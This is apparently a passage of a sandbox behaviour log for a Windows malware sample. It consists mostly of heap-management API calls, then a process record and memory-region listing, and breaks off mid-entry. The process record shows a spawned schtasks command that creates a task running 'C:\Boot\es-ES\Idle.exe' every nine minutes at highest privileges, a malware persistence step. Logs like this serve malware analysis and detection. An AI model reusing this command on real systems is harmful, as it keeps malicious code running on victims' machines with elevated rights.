[0134.792] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d250) returned 1 [0134.792] GetProcessHeap () returned 0x150000 [0134.792] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d250) returned 0x200 [0134.792] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d250 | out: hHeap=0x150000) returned 1 [0134.792] GetProcessHeap () returned 0x150000 [0134.792] GetProcessHeap () returned 0x150000 [0134.792] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba60) returned 1 [0134.792] GetProcessHeap () returned 0x150000 [0134.793] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba60) returned 0x18 [0134.793] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba60 | out: hHeap=0x150000) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165ba0) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165ba0) returned 0x20 [0134.793] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165ba0 | out: hHeap=0x150000) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1d0) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1d0) returned 0x14 [0134.793] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1d0 | out: hHeap=0x150000) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1b0) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.793] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1b0) returned 0x18 [0134.793] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1b0 | out: hHeap=0x150000) returned 1 [0134.793] GetProcessHeap () returned 0x150000 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165ae0) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165ae0) returned 0x20 [0134.794] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165ae0 | out: hHeap=0x150000) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1f0) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1f0) returned 0x16 [0134.794] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1f0 | out: hHeap=0x150000) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c170) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c170) returned 0x18 [0134.794] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c170 | out: hHeap=0x150000) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165ab0) returned 1 [0134.794] GetProcessHeap () returned 0x150000 [0134.794] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165ab0) returned 0x20 [0134.795] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165ab0 | out: hHeap=0x150000) returned 1 [0134.795] GetProcessHeap () returned 0x150000 [0134.795] GetProcessHeap () returned 0x150000 [0134.795] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9a0) returned 1 [0134.795] GetProcessHeap () returned 0x150000 [0134.795] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b9a0) returned 0x2 [0134.795] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9a0 | out: hHeap=0x150000) returned 1 [0134.795] GetProcessHeap () returned 0x150000 [0134.795] GetProcessHeap () returned 0x150000 [0134.795] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165900) returned 1 [0134.795] GetProcessHeap () returned 0x150000 [0134.795] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165900) returned 0x20 [0134.795] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165900 | out: hHeap=0x150000) returned 1 [0134.795] GetProcessHeap () returned 0x150000 [0134.796] GetProcessHeap () returned 0x150000 [0134.796] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165930) returned 1 [0134.796] GetProcessHeap () returned 0x150000 [0134.796] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165930) returned 0x20 [0134.796] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165930 | out: hHeap=0x150000) returned 1 [0134.796] GetProcessHeap () returned 0x150000 [0134.796] GetProcessHeap () returned 0x150000 [0134.796] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165960) returned 1 [0134.796] GetProcessHeap () returned 0x150000 [0134.796] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165960) returned 0x20 [0134.797] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165960 | out: hHeap=0x150000) returned 1 [0134.797] GetProcessHeap () returned 0x150000 [0134.797] GetProcessHeap () returned 0x150000 [0134.797] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165990) returned 1 [0134.797] GetProcessHeap () returned 0x150000 [0134.797] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165990) returned 0x20 [0134.797] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165990 | out: hHeap=0x150000) returned 1 [0134.797] GetProcessHeap () returned 0x150000 [0134.797] GetProcessHeap () returned 0x150000 [0134.797] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb10) returned 1 [0134.797] GetProcessHeap () returned 0x150000 [0134.797] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cb10) returned 0x20 [0134.797] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb10 | out: hHeap=0x150000) returned 1 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d630) returned 1 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d630) returned 0xc [0134.798] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d630 | out: hHeap=0x150000) returned 1 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb40) returned 1 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cb40) returned 0x20 [0134.798] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb40 | out: hHeap=0x150000) returned 1 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167a20) returned 1 [0134.798] GetProcessHeap () returned 0x150000 [0134.798] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167a20) returned 0x30 [0134.799] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167a20 | out: hHeap=0x150000) returned 1 [0134.799] GetProcessHeap () returned 0x150000 [0134.799] GetProcessHeap () returned 0x150000 [0134.799] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb70) returned 1 [0134.799] GetProcessHeap () returned 0x150000 [0134.799] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cb70) returned 0x20 [0134.799] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb70 | out: hHeap=0x150000) returned 1 [0134.799] GetProcessHeap () returned 0x150000 [0134.799] GetProcessHeap () returned 0x150000 [0134.799] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167aa0) returned 1 [0134.799] GetProcessHeap () returned 0x150000 [0134.799] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167aa0) returned 0x30 [0134.800] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167aa0 | out: hHeap=0x150000) returned 1 [0134.800] GetProcessHeap () returned 0x150000 [0134.800] GetProcessHeap () returned 0x150000 [0134.800] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0) returned 1 [0134.800] GetProcessHeap () returned 0x150000 [0134.800] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccf0) returned 0x20 [0134.800] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0 | out: hHeap=0x150000) returned 1 [0134.800] GetProcessHeap () returned 0x150000 [0134.800] GetProcessHeap () returned 0x150000 [0134.800] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d550) returned 1 [0134.800] GetProcessHeap () returned 0x150000 [0134.800] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d550) returned 0x16 [0134.800] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d550 | out: hHeap=0x150000) returned 1 [0134.800] GetProcessHeap () returned 0x150000 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0) returned 1 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccc0) returned 0x20 [0134.801] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0 | out: hHeap=0x150000) returned 1 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d570) returned 1 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d570) returned 0x16 [0134.801] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d570 | out: hHeap=0x150000) returned 1 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90) returned 1 [0134.801] GetProcessHeap () returned 0x150000 [0134.801] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc90) returned 0x20 [0134.802] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90 | out: hHeap=0x150000) returned 1 [0134.802] GetProcessHeap () returned 0x150000 [0134.802] GetProcessHeap () returned 0x150000 [0134.802] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x1898d0) returned 1 [0134.802] GetProcessHeap () returned 0x150000 [0134.802] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x1898d0) returned 0x82 [0134.802] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1898d0 | out: hHeap=0x150000) returned 1 [0134.802] GetProcessHeap () returned 0x150000 [0134.802] GetProcessHeap () returned 0x150000 [0134.802] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60) returned 1 [0134.802] GetProcessHeap () returned 0x150000 [0134.802] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc60) returned 0x20 [0134.802] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60 | out: hHeap=0x150000) returned 1 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5b0) returned 1 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5b0) returned 0xe [0134.803] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5b0 | out: hHeap=0x150000) returned 1 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30) returned 1 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc30) returned 0x20 [0134.803] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30 | out: hHeap=0x150000) returned 1 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] GetProcessHeap () returned 0x150000 [0134.803] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5d0) returned 1 [0134.803] GetProcessHeap () returned 0x150000 [0134.804] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5d0) returned 0xc [0134.804] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5d0 | out: hHeap=0x150000) returned 1 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00) returned 1 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc00) returned 0x20 [0134.804] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00 | out: hHeap=0x150000) returned 1 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5f0) returned 1 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5f0) returned 0xe [0134.804] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5f0 | out: hHeap=0x150000) returned 1 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cbd0) returned 1 [0134.804] GetProcessHeap () returned 0x150000 [0134.804] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cbd0) returned 0x20 [0134.805] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cbd0 | out: hHeap=0x150000) returned 1 [0134.805] GetProcessHeap () returned 0x150000 [0134.805] GetProcessHeap () returned 0x150000 [0134.805] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d610) returned 1 [0134.805] GetProcessHeap () returned 0x150000 [0134.805] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d610) returned 0x10 [0134.805] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d610 | out: hHeap=0x150000) returned 1 [0134.805] GetProcessHeap () returned 0x150000 [0134.805] GetProcessHeap () returned 0x150000 [0134.805] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cba0) returned 1 [0134.805] GetProcessHeap () returned 0x150000 [0134.805] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cba0) returned 0x20 [0134.806] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cba0 | out: hHeap=0x150000) returned 1 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9c0) returned 1 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b9c0) returned 0x18 [0134.806] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9c0 | out: hHeap=0x150000) returned 1 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x1659c0) returned 1 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x1659c0) returned 0x20 [0134.806] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1659c0 | out: hHeap=0x150000) returned 1 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x1659f0) returned 1 [0134.806] GetProcessHeap () returned 0x150000 [0134.806] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x1659f0) returned 0x20 [0134.807] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1659f0 | out: hHeap=0x150000) returned 1 [0134.807] GetProcessHeap () returned 0x150000 [0134.807] GetProcessHeap () returned 0x150000 [0134.807] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165a20) returned 1 [0134.807] GetProcessHeap () returned 0x150000 [0134.807] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165a20) returned 0x20 [0134.807] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165a20 | out: hHeap=0x150000) returned 1 [0134.808] GetProcessHeap () returned 0x150000 [0134.808] GetProcessHeap () returned 0x150000 [0134.808] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165a50) returned 1 [0134.808] GetProcessHeap () returned 0x150000 [0134.808] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165a50) returned 0x20 [0134.808] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165a50 | out: hHeap=0x150000) returned 1 [0134.808] GetProcessHeap () returned 0x150000 [0134.808] GetProcessHeap () returned 0x150000 [0134.808] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9e0) returned 1 [0134.808] GetProcessHeap () returned 0x150000 [0134.808] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b9e0) returned 0x18 [0134.808] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9e0 | out: hHeap=0x150000) returned 1 [0134.809] GetProcessHeap () returned 0x150000 [0134.809] GetProcessHeap () returned 0x150000 [0134.809] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165a80) returned 1 [0134.809] GetProcessHeap () returned 0x150000 [0134.809] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165a80) returned 0x20 [0134.809] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165a80 | out: hHeap=0x150000) returned 1 [0134.809] GetProcessHeap () returned 0x150000 [0134.809] GetProcessHeap () returned 0x150000 [0134.809] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165b10) returned 1 [0134.809] GetProcessHeap () returned 0x150000 [0134.809] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165b10) returned 0x20 [0134.810] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165b10 | out: hHeap=0x150000) returned 1 [0134.810] GetProcessHeap () returned 0x150000 [0134.810] GetProcessHeap () returned 0x150000 [0134.810] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165b70) returned 1 [0134.810] GetProcessHeap () returned 0x150000 [0134.810] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165b70) returned 0x20 [0134.810] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165b70 | out: hHeap=0x150000) returned 1 [0134.810] GetProcessHeap () returned 0x150000 [0134.810] GetProcessHeap () returned 0x150000 [0134.810] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165bd0) returned 1 [0134.810] GetProcessHeap () returned 0x150000 [0134.810] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165bd0) returned 0x20 [0134.811] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165bd0 | out: hHeap=0x150000) returned 1 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165c00) returned 1 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165c00) returned 0x20 [0134.811] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165c00 | out: hHeap=0x150000) returned 1 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba00) returned 1 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba00) returned 0x18 [0134.811] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba00 | out: hHeap=0x150000) returned 1 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] GetProcessHeap () returned 0x150000 [0134.811] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165b40) returned 1 [0134.811] GetProcessHeap () returned 0x150000 [0134.812] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165b40) returned 0x20 [0134.812] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165b40 | out: hHeap=0x150000) returned 1 [0134.812] GetProcessHeap () returned 0x150000 [0134.812] GetProcessHeap () returned 0x150000 [0134.812] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b980) returned 1 [0134.812] GetProcessHeap () returned 0x150000 [0134.812] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b980) returned 0x18 [0134.812] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b980 | out: hHeap=0x150000) returned 1 [0134.812] exit (_Code=0) Thread: id = 122 os_tid = 0xf28 Process: id = "19" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x43b99000" os_pid = "0xf2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2234 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2235 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2236 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2237 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2238 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2239 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2240 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2241 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2242 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2243 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2244 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2245 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2246 start_va = 0x1a0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2247 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2248 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2249 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2250 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2251 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2252 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2253 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2254 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2255 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2256 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2257 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2258 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2259 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2260 start_va = 